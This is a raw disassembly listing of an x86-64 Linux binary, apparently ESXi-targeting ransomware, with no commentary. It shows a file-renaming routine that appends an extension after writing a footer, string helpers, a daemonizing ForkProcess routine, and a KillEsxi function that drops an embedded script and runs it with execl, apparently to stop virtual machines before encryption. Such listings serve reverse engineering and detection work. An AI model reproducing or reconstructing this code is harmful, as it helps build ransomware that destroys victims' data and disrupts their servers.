    0040cb4fmov edx, 116
    0040cb54mov esi, 1
    0040cb59mov rdi, rax
    0040cb5ccall fwrite@plt
    0040cb61mov eax, [rbp-296]
    0040cb67cdqe
    0040cb69mov rdx, rax
    0040cb6cadd rdx, [rbp-8]
    0040cb70mov ecx, [rbp-296]
    0040cb76mov eax, [rip+0x203e3c]
    0040cb7cimul eax, ecx
    0040cb7fcdqe
    0040cb81add rax, rdx
    0040cb84cmp rax, [rbp-32]
    0040cb88jg 0x40cba7
    0040cb8amov eax, [rip+0x203e28]
    0040cb90lea edx, [rax+1]
    0040cb93mov eax, [rbp-296]
    0040cb99imul eax, edx
    0040cb9ccdqe
    0040cb9eadd [rbp-8], rax
    0040cba2jmp 0x40ca74
    0040cba7
    0040cba7loc_40cba7:
    0040cba7nop
    0040cba8mov rcx, [rbp-32]
    0040cbacmov rax, [rbp-40]
    0040cbb0mov edx, 0
    0040cbb5mov rsi, rcx
    0040cbb8mov rdi, rax
    0040cbbbcall fseeko@plt
    0040cbc0lea rax, [rbp-400]
    0040cbc7mov rdx, [rbp-40]
    0040cbcbmov rcx, rdx
    0040cbcemov edx, 116
    0040cbd3mov esi, 1
    0040cbd8mov rdi, rax
    0040cbdbcall fwrite@plt
    0040cbe0mov rax, [rbp-40]
    0040cbe4mov rdi, rax
    0040cbe7call fclose@plt
    0040cbecmov rax, [rbp-600]
    0040cbf3mov [rbp-608], -1
    0040cbfemov rdx, rax
    0040cc01mov eax, 0
    0040cc06mov rcx, [rbp-608]
    0040cc0dmov rdi, rdx
    0040cc10repne scasb [rdi], al
    0040cc12mov rax, rcx
    0040cc15not rax
    0040cc18lea rdx, [rax-1]
    0040cc1cmov eax, [rbp-20]
    0040cc1fcdqe
    0040cc21add rax, rdx
    0040cc24add rax, 2
    0040cc28mov esi, 1
    0040cc2dmov rdi, rax
    0040cc30call calloc@plt
    0040cc35mov [rbp-96], rax
    0040cc39mov rdx, [rbp-600]
    0040cc40mov rax, [rbp-96]
    0040cc44mov rsi, rdx
    0040cc47mov rdi, rax
    0040cc4acall strcpy@plt
    0040cc4fmov esi, 0x40f48a
    0040cc54mov rax, [rbp-96]
    0040cc58mov [rbp-608], -1
    0040cc63mov rdx, rax
    0040cc66mov eax, 0
    0040cc6bmov rcx, [rbp-608]
    0040cc72mov rdi, rdx
    0040cc75repne scasb [rdi], al
    0040cc77mov rax, rcx
    0040cc7anot rax
    0040cc7dsub rax, 1
    0040cc81add rax, [rbp-96]
    0040cc85movzx edx, [rsi]
    0040cc88mov [rax], dx
    0040cc8blea rax, [rbp-400]
    0040cc92lea rdx, [rax+96]
    0040cc96mov rax, [rbp-96]
    0040cc9amov rsi, rdx
    0040cc9dmov rdi, rax
    0040cca0call strcat@plt
    0040cca5mov rdx, [rbp-96]
    0040cca9mov rax, [rbp-600]
    0040ccb0mov rsi, rdx
    0040ccb3mov rdi, rax
    0040ccb6call rename@plt
    0040ccbbcmp eax, -1
    0040ccbejne 0x40ccce
    0040ccc0mov rax, [rbp-96]
    0040ccc4mov rdi, rax
    0040ccc7call free@plt
    0040ccccjmp 0x40cd25
    0040ccce
    0040ccceloc_40ccce:
    0040cccemov rax, [rbp-48]
    0040ccd2mov rdi, rax
    0040ccd5call free@plt
    0040ccdamov rax, [rbp-56]
    0040ccdemov rdi, rax
    0040cce1call free@plt
    0040cce6mov rax, [rbp-64]
    0040cceamov rdi, rax
    0040ccedcall free@plt
    0040ccf2mov rax, [rbp-72]
    0040ccf6mov rdi, rax
    0040ccf9call free@plt
    0040ccfemov rax, [rbp-80]
    0040cd02mov rdi, rax
    0040cd05call free@plt
    0040cd0amov rax, [rbp-88]
    0040cd0emov rdi, rax
    0040cd11call free@plt
    0040cd16mov rax, [rbp-96]
    0040cd1amov rdi, rax
    0040cd1dcall free@plt
    0040cd22jmp 0x40cd25
    0040cd24
    0040cd24loc_40cd24:
    0040cd24nop
    0040cd25
    0040cd25loc_40cd25:
    0040cd25leave
    0040cd26ret
    0040c794
    0040cd27
    0040cd27 90 .
    0040cd28
    0040cd28SafeStrCpyA:
    0040cd28push rbp
    0040cd29mov rbp, rsp
    0040cd2cmov [rbp-24], rdi
    0040cd30mov [rbp-32], rsi
    0040cd34mov [rbp-36], edx
    0040cd37cmp [rbp-36], 0
    0040cd3bje 0x40cd98
    0040cd3dmov rax, [rbp-24]
    0040cd41mov [rbp-8], rax
    0040cd45mov rax, [rbp-32]
    0040cd49mov [rbp-16], rax
    0040cd4d
    0040cd4dloc_40cd4d:
    0040cd4dmov rax, [rbp-16]
    0040cd51movzx edx, [rax]
    0040cd54mov rax, [rbp-8]
    0040cd58mov [rax], dl
    0040cd5amov rax, [rbp-8]
    0040cd5emovzx eax, [rax]
    0040cd61test al, al
    0040cd63sete al
    0040cd66add [rbp-8], 1
    0040cd6badd [rbp-16], 1
    0040cd70test al, al
    0040cd72je 0x40cd8e
    0040cd74jmp 0x40cd82
    0040cd76
    0040cd76loc_40cd76:
    0040cd76mov rax, [rbp-8]
    0040cd7amov [rax], 0
    0040cd7dadd [rbp-8], 1
    0040cd82
    0040cd82loc_40cd82:
    0040cd82sub [rbp-36], 1
    0040cd86cmp [rbp-36], 0
    0040cd8ajne 0x40cd76
    0040cd8cjmp 0x40cd98
    0040cd8e
    0040cd8eloc_40cd8e:
    0040cd8esub [rbp-36], 1
    0040cd92cmp [rbp-36], 0
    0040cd96jne 0x40cd4d
    0040cd98
    0040cd98loc_40cd98:
    0040cd98mov rax, [rbp-24]
    0040cd9cpop rbp
    0040cd9dret
    0040cd28
    0040cd9e
    0040cd9eCountWords:
    0040cd9epush rbp
    0040cd9fmov rbp, rsp
    0040cda2mov [rbp-24], rdi
    0040cda6mov eax, esi
    0040cda8mov [rbp-28], al
    0040cdabmov [rbp-4], 0
    0040cdb2mov rax, [rbp-24]
    0040cdb6mov [rbp-16], rax
    0040cdbajmp 0x40cdd1
    0040cdbc
    0040cdbcloc_40cdbc:
    0040cdbcmov rax, [rbp-16]
    0040cdc0movzx eax, [rax]
    0040cdc3cmp al, [rbp-28]
    0040cdc6jne 0x40cdcc
    0040cdc8add [rbp-4], 1
    0040cdcc
    0040cdccloc_40cdcc:
    0040cdccadd [rbp-16], 1
    0040cdd1
    0040cdd1loc_40cdd1:
    0040cdd1mov rax, [rbp-16]
    0040cdd5movzx eax, [rax]
    0040cdd8test al, al
    0040cddajne 0x40cdbc
    0040cddcmov eax, [rbp-4]
    0040cddfadd eax, 1
    0040cde2pop rbp
    0040cde3ret
    0040cd9e
    0040cde4
    0040cde4SplitString:
    0040cde4push rbp
    0040cde5mov rbp, rsp
    0040cde8push rbx
    0040cde9sub rsp, 72
    0040cdedmov [rbp-56], rdi
    0040cdf1mov eax, esi
    0040cdf3mov [rbp-72], rdx
    0040cdf7mov [rbp-60], al
    0040cdfamovzx eax, [rbp-60]
    0040cdfemovsx edx, al
    0040ce01mov rax, [rbp-56]
    0040ce05mov esi, edx
    0040ce07mov rdi, rax
    0040ce0acall CountWords
    0040ce0fmov rdx, [rbp-72]
    0040ce13mov [rdx], eax
    0040ce15mov rax, [rbp-72]
    0040ce19mov eax, [rax]
    0040ce1bmov eax, eax
    0040ce1dshl rax, 3
    0040ce21mov rdi, rax
    0040ce24call malloc@plt
    0040ce29mov [rbp-48], rax
    0040ce2dcmp [rbp-48], 0
    0040ce32jne 0x40ce3e
    0040ce34mov eax, 0
    0040ce39jmp 0x40cf45
    0040ce3e
    0040ce3eloc_40ce3e:
    0040ce3emov [rbp-24], 0
    0040ce46lea rdx, [rbp-60]
    0040ce4amov rax, [rbp-56]
    0040ce4emov rsi, rdx
    0040ce51mov rdi, rax
    0040ce54call strtok@plt
    0040ce59mov [rbp-32], rax
    0040ce5djmp 0x40cf36
    0040ce62
    0040ce62loc_40ce62:
    0040ce62mov rax, [rbp-24]
    0040ce66shl rax, 3
    0040ce6amov rbx, rax
    0040ce6dadd rbx, [rbp-48]
    0040ce71mov rax, [rbp-32]
    0040ce75mov [rbp-80], -1
    0040ce7dmov rdx, rax
    0040ce80mov eax, 0
    0040ce85mov rcx, [rbp-80]
    0040ce89mov rdi, rdx
    0040ce8crepne scasb [rdi], al
    0040ce8emov rax, rcx
    0040ce91not rax
    0040ce94sub rax, 1
    0040ce98add rax, 1
    0040ce9cmov rdi, rax
    0040ce9fcall malloc@plt
    0040cea4mov [rbx], rax
    0040cea7mov rax, [rbp-24]
    0040ceabshl rax, 3
    0040ceafadd rax, [rbp-48]
    0040ceb3mov rax, [rax]
    0040ceb6test rax, rax
    0040ceb9jne 0x40cefe
    0040cebbmov [rbp-40], 0
    0040cec3jmp 0x40cee1
    0040cec5
    0040cec5loc_40cec5:
    0040cec5mov rax, [rbp-40]
    0040cec9shl rax, 3
    0040cecdadd rax, [rbp-48]
    0040ced1mov rax, [rax]
    0040ced4mov rdi, rax
    0040ced7call free@plt
    0040cedcadd [rbp-40], 1
    0040cee1
    0040cee1loc_40cee1:
    0040cee1mov rax, [rbp-40]
    0040cee5cmp rax, [rbp-24]
    0040cee9jb 0x40cec5
    0040ceebmov rax, [rbp-48]
    0040ceefmov rdi, rax
    0040cef2call free@plt
    0040cef7mov eax, 0
    0040cefcjmp 0x40cf45
    0040cefe
    0040cefeloc_40cefe:
    0040cefemov rdx, [rbp-32]
    0040cf02mov rax, [rbp-24]
    0040cf06shl rax, 3
    0040cf0aadd rax, [rbp-48]
    0040cf0emov rax, [rax]
    0040cf11mov rsi, rdx
    0040cf14mov rdi, rax
    0040cf17call strcpy@plt
    0040cf1cadd [rbp-24], 1
    0040cf21lea rax, [rbp-60]
    0040cf25mov rsi, rax
    0040cf28mov edi, 0
    0040cf2dcall strtok@plt
    0040cf32mov [rbp-32], rax
    0040cf36
    0040cf36loc_40cf36:
    0040cf36cmp [rbp-32], 0
    0040cf3bjne 0x40ce62
    0040cf41mov rax, [rbp-48]
    0040cf45
    0040cf45loc_40cf45:
    0040cf45add rsp, 72
    0040cf49pop rbx
    0040cf4apop rbp
    0040cf4bret
    0040cde4
    0040cf4c
    0040cf4cReplaseStringA:
    0040cf4cpush rbp
    0040cf4dmov rbp, rsp
    0040cf50sub rsp, 112
    0040cf54mov [rbp-88], rdi
    0040cf58mov [rbp-96], rsi
    0040cf5cmov [rbp-104], rdx
    0040cf60mov rax, [rbp-104]
    0040cf64mov [rbp-112], -1
    0040cf6cmov rdx, rax
    0040cf6fmov eax, 0
    0040cf74mov rcx, [rbp-112]
    0040cf78mov rdi, rdx
    0040cf7brepne scasb [rdi], al
    0040cf7dmov rax, rcx
    0040cf80not rax
    0040cf83sub rax, 1
    0040cf87mov [rbp-28], eax
    0040cf8amov rax, [rbp-96]
    0040cf8emov [rbp-112], -1
    0040cf96mov rdx, rax
    0040cf99mov eax, 0
    0040cf9emov rcx, [rbp-112]
    0040cfa2mov rdi, rdx
    0040cfa5repne scasb [rdi], al
    0040cfa7mov rax, rcx
    0040cfaanot rax
    0040cfadsub rax, 1
    0040cfb1mov [rbp-32], eax
    0040cfb4mov rax, [rbp-88]
    0040cfb8mov [rbp-112], -1
    0040cfc0mov rdx, rax
    0040cfc3mov eax, 0
    0040cfc8mov rcx, [rbp-112]
    0040cfccmov rdi, rdx
    0040cfcfrepne scasb [rdi], al
    0040cfd1mov rax, rcx
    0040cfd4not rax
    0040cfd7sub rax, 1
    0040cfdbmov [rbp-36], eax
    0040cfdemov [rbp-4], 0
    0040cfe5mov rax, [rbp-88]
    0040cfe9mov [rbp-16], rax
    0040cfedjmp 0x40cffe
    0040cfef
    0040cfefloc_40cfef:
    0040cfefadd [rbp-4], 1
    0040cff3mov eax, [rbp-32]
    0040cff6add rax, [rbp-48]
    0040cffamov [rbp-16], rax
    0040cffe
    0040cffeloc_40cffe:
    0040cffemov rdx, [rbp-96]
    0040d002mov rax, [rbp-16]
    0040d006mov rsi, rdx
    0040d009mov rdi, rax
    0040d00ccall strstr@plt
    0040d011mov [rbp-48], rax
    0040d015cmp [rbp-48], 0
    0040d01ajne 0x40cfef
    0040d01cmov eax, [rbp-32]
    0040d01fmov edx, [rbp-28]
    0040d022mov ecx, edx
    0040d024sub ecx, eax
    0040d026mov eax, ecx
    0040d028imul eax, [rbp-4]
    0040d02cadd eax, [rbp-36]
    0040d02fmov [rbp-52], eax
    0040d032mov eax, [rbp-52]
    0040d035add eax, 1
    0040d038mov eax, eax
    0040d03amov rdi, rax
    0040d03dcall malloc@plt
    0040d042mov [rbp-64], rax
    0040d046cmp [rbp-64], 0
    0040d04bje 0x40d0ed
    0040d051mov rax, [rbp-64]
    0040d055mov [rbp-24], rax
    0040d059mov rax, [rbp-88]
    0040d05dmov [rbp-16], rax
    0040d061jmp 0x40d0bc
    0040d063
    0040d063loc_40d063:
    0040d063mov rdx, [rbp-48]
    0040d067mov rax, [rbp-16]
    0040d06bmov rdi, rdx
    0040d06esub rdi, rax
    0040d071mov rax, rdi
    0040d074mov [rbp-68], eax
    0040d077mov edx, [rbp-68]
    0040d07amov rcx, [rbp-16]
    0040d07emov rax, [rbp-24]
    0040d082mov rsi, rcx
    0040d085mov rdi, rax
    0040d088call SafeStrCpyA
    0040d08dmov eax, [rbp-68]
    0040d090add [rbp-24], rax
    0040d094mov edx, [rbp-28]
    0040d097mov rcx, [rbp-104]
    0040d09bmov rax, [rbp-24]
    0040d09fmov rsi, rcx
    0040d0a2mov rdi, rax
    0040d0a5call SafeStrCpyA
    0040d0aamov eax, [rbp-28]
    0040d0adadd [rbp-24], rax
    0040d0b1mov eax, [rbp-32]
    0040d0b4add rax, [rbp-48]
    0040d0b8mov [rbp-16], rax
    0040d0bc
    0040d0bcloc_40d0bc:
    0040d0bcmov rdx, [rbp-96]
    0040d0c0mov rax, [rbp-16]
    0040d0c4mov rsi, rdx
    0040d0c7mov rdi, rax
    0040d0cacall strstr@plt
    0040d0cfmov [rbp-48], rax
    0040d0d3cmp [rbp-48], 0
    0040d0d8jne 0x40d063
    0040d0damov rdx, [rbp-16]
    0040d0demov rax, [rbp-24]
    0040d0e2mov rsi, rdx
    0040d0e5mov rdi, rax
    0040d0e8call strcpy@plt
    0040d0ed
    0040d0edloc_40d0ed:
    0040d0edmov rax, [rbp-64]
    0040d0f1leave
    0040d0f2ret
    0040cf4c
    0040d0f3
    0040d0f3Sleep:
    0040d0f3push rbp
    0040d0f4mov rbp, rsp
    0040d0f7push rbx
    0040d0f8sub rsp, 56
    0040d0fcmov [rbp-56], rdi
    0040d100cmp [rbp-56], 0
    0040d105jns 0x40d11c
    0040d107call __errno_location@plt
    0040d10cmov [rax], 22
    0040d112mov eax, -1
    0040d117jmp 0x40d1b6
    0040d11c
    0040d11cloc_40d11c:
    0040d11cmov rcx, [rbp-56]
    0040d120mov rdx, 0x20c49ba5e353f7cf
    0040d12amov rax, rcx
    0040d12dimul rdx
    0040d130sar rdx, 7
    0040d134mov rax, rcx
    0040d137sar rax, 63
    0040d13bmov rcx, rdx
    0040d13esub rcx, rax
    0040d141mov rax, rcx
    0040d144mov [rbp-48], rax
    0040d148mov rcx, [rbp-56]
    0040d14cmov rdx, 0x20c49ba5e353f7cf
    0040d156mov rax, rcx
    0040d159imul rdx
    0040d15csar rdx, 7
    0040d160mov rax, rcx
    0040d163sar rax, 63
    0040d167mov rbx, rdx
    0040d16asub rbx, rax
    0040d16dmov rax, rbx
    0040d170imul rax, rax, 1000
    0040d177mov rdx, rcx
    0040d17asub rdx, rax
    0040d17dmov rax, rdx
    0040d180imul rax, rax, 0xf4240
    0040d187mov [rbp-40], rax
    0040d18b
    0040d18bloc_40d18b:
    0040d18blea rdx, [rbp-48]
    0040d18flea rax, [rbp-48]
    0040d193mov rsi, rdx
    0040d196mov rdi, rax
    0040d199call nanosleep@plt
    0040d19emov [rbp-20], eax
    0040d1a1cmp [rbp-20], 0
    0040d1a5je 0x40d1b3
    0040d1a7call __errno_location@plt
    0040d1acmov eax, [rax]
    0040d1aecmp eax, 4
    0040d1b1je 0x40d18b
    0040d1b3
    0040d1b3loc_40d1b3:
    0040d1b3mov eax, [rbp-20]
    0040d1b6
    0040d1b6loc_40d1b6:
    0040d1b6add rsp, 56
    0040d1bapop rbx
    0040d1bbpop rbp
    0040d1bcret
    0040d0f3
    0040d1bd
    0040d1bdForkProcess:
    0040d1bdpush rbp
    0040d1bemov rbp, rsp
    0040d1c1sub rsp, 16
    0040d1c5call fork@plt
    0040d1camov [rbp-4], eax
    0040d1cdcmp [rbp-4], 0
    0040d1d1jns 0x40d1e7
    0040d1d3mov edi, 0x40f490
    0040d1d8call perror@plt
    0040d1ddmov edi, 1
    0040d1e2call exit@plt
    0040d1e7
    0040d1e7loc_40d1e7:
    0040d1e7cmp [rbp-4], 0
    0040d1ebjle 0x40d1f7
    0040d1edmov edi, 0
    0040d1f2call exit@plt
    0040d1f7
    0040d1f7loc_40d1f7:
    0040d1f7call setsid@plt
    0040d1fctest eax, eax
    0040d1fejns 0x40d214
    0040d200mov edi, 0x40f495
    0040d205call perror@plt
    0040d20amov edi, 1
    0040d20fcall exit@plt
    0040d214
    0040d214loc_40d214:
    0040d214mov esi, 1
    0040d219mov edi, 1
    0040d21ecall signal@plt
    0040d223call fork@plt
    0040d228mov [rbp-4], eax
    0040d22bcmp [rbp-4], 0
    0040d22fjns 0x40d245
    0040d231mov edi, 0x40f490
    0040d236call perror@plt
    0040d23bmov edi, 1
    0040d240call exit@plt
    0040d245
    0040d245loc_40d245:
    0040d245cmp [rbp-4], 0
    0040d249jle 0x40d255
    0040d24bmov edi, 0
    0040d250call exit@plt
    0040d255
    0040d255loc_40d255:
    0040d255mov edi, 0
    0040d25acall umask@plt
    0040d25fmov edi, 0
    0040d264call close@plt
    0040d269mov edi, 1
    0040d26ecall close@plt
    0040d273mov edi, 2
    0040d278call close@plt
    0040d27dmov esi, 0
    0040d282mov edi, 0x40f49c
    0040d287mov eax, 0
    0040d28ccall open@plt
    0040d291mov esi, 1
    0040d296mov edi, 0x40f49c
    0040d29bmov eax, 0
    0040d2a0call open@plt
    0040d2a5mov esi, 1
    0040d2aamov edi, 0x40f49c
    0040d2afmov eax, 0
    0040d2b4call open@plt
    0040d2b9leave
    0040d2baret
    0040d1bd
    0040d2bb
    0040d2bbKillEsxi:
    0040d2bbpush rbp
    0040d2bcmov rbp, rsp
    0040d2bfsub rsp, 320
    0040d2c6call fork@plt
    0040d2cbmov [rbp-4], eax
    0040d2cemov eax, [rbp-4]
    0040d2d1cmp eax, -1
    0040d2d4je 0x40d2df
    0040d2d6test eax, eax
    0040d2d8je 0x40d2fd
    0040d2dajmp 0x40d41a
    0040d2df
    0040d2dfloc_40d2df:
    0040d2dfmov eax, [rip+0x2036eb]
    0040d2e5test eax, eax
    0040d2e7je 0x40d2f3
    0040d2e9mov edi, 0x40f4a8
    0040d2eecall puts@plt
    0040d2f3
    0040d2f3loc_40d2f3:
    0040d2f3mov edi, 1
    0040d2f8call exit@plt
    0040d2fd
    0040d2fdloc_40d2fd:
    0040d2fdmov edx, 0x40f4d0
    0040d302lea rax, [rbp-288]
    0040d309mov rcx, [rdx]
    0040d30cmov [rax], rcx
    0040d30fmov rcx, [rdx+8]
    0040d313mov [rax+8], rcx
    0040d317mov rcx, [rdx+16]
    0040d31bmov [rax+16], rcx
    0040d31fmov rcx, [rdx+24]
    0040d323mov [rax+24], rcx
    0040d327mov rcx, [rdx+32]
    0040d32bmov [rax+32], rcx
    0040d32fmov rcx, [rdx+40]
    0040d333mov [rax+40], rcx
    0040d337mov rcx, [rdx+48]
    0040d33bmov [rax+48], rcx
    0040d33fmov rcx, [rdx+56]
    0040d343mov [rax+56], rcx
    0040d347mov rcx, [rdx+64]
    0040d34bmov [rax+64], rcx
    0040d34fmov rcx, [rdx+72]
    0040d353mov [rax+72], rcx
    0040d357mov rcx, [rdx+80]
    0040d35bmov [rax+80], rcx
    0040d35fmov rcx, [rdx+88]
    0040d363mov [rax+88], rcx
    0040d367mov rcx, [rdx+96]
    0040d36bmov [rax+96], rcx
    0040d36fmov rcx, [rdx+104]
    0040d373mov [rax+104], rcx
    0040d377mov rcx, [rdx+112]
    0040d37bmov [rax+112], rcx
    0040d37fmovzx edx, [rdx+120]
    0040d383mov [rax+120], dx
    0040d387mov edx, 0x40f54a
    0040d38cmov eax, 0x40f54c
    0040d391mov rsi, rdx
    0040d394mov rdi, rax
    0040d397call fopen@plt
    0040d39cmov [rbp-16], rax
    0040d3a0lea rax, [rbp-288]
    0040d3a7mov [rbp-312], -1
    0040d3b2mov rdx, rax
    0040d3b5mov eax, 0
    0040d3bamov rcx, [rbp-312]
    0040d3c1mov rdi, rdx
    0040d3c4repne scasb [rdi], al
    0040d3c6mov rax, rcx
    0040d3c9not rax
    0040d3cclea rsi, [rax-1]
    0040d3d0lea rax, [rbp-288]
    0040d3d7mov rdx, [rbp-16]
    0040d3dbmov rcx, rdx
    0040d3demov rdx, rsi
    0040d3e1mov esi, 1
    0040d3e6mov rdi, rax
    0040d3e9call fwrite@plt
    0040d3eemov rax, [rbp-16]
    0040d3f2mov rdi, rax
    0040d3f5call fclose@plt
    0040d3famov ecx, 0
    0040d3ffmov edx, 0x40f54c
    0040d404mov esi, 0x40f551
    0040d409mov edi, 0x40f554
    0040d40emov eax, 0
    0040d413call execl@plt
    0040d418jmp 0x40d466
    0040d41a
    0040d41aloc_40d41a:
    0040d41amov eax, [rip+0x2035b0]
    0040d420test eax, eax
    0040d422je 0x40d42e
    0040d424mov edi, 0x40f55c
    0040d429call puts@plt
    0040d42e
    0040d42eloc_40d42e:
    0040d42emov [rbp-292], 0
    0040d438lea rcx, [rbp-292]
    0040d43fmov eax, [rbp-4]
    0040d442mov edx, 0
    0040d447mov rsi, rcx
    0040d44amov edi, eax
    0040d44ccall waitpid@plt
    0040d451mov edi, 0x40f54c
    0040d456call remove@plt
    0040d45bmov edi, 0x40f577
    0040d460call puts@plt
    0040d465nop
    0040d466
    0040d466loc_40d466:
    0040d466leave
    0040d467ret
    0040d2bb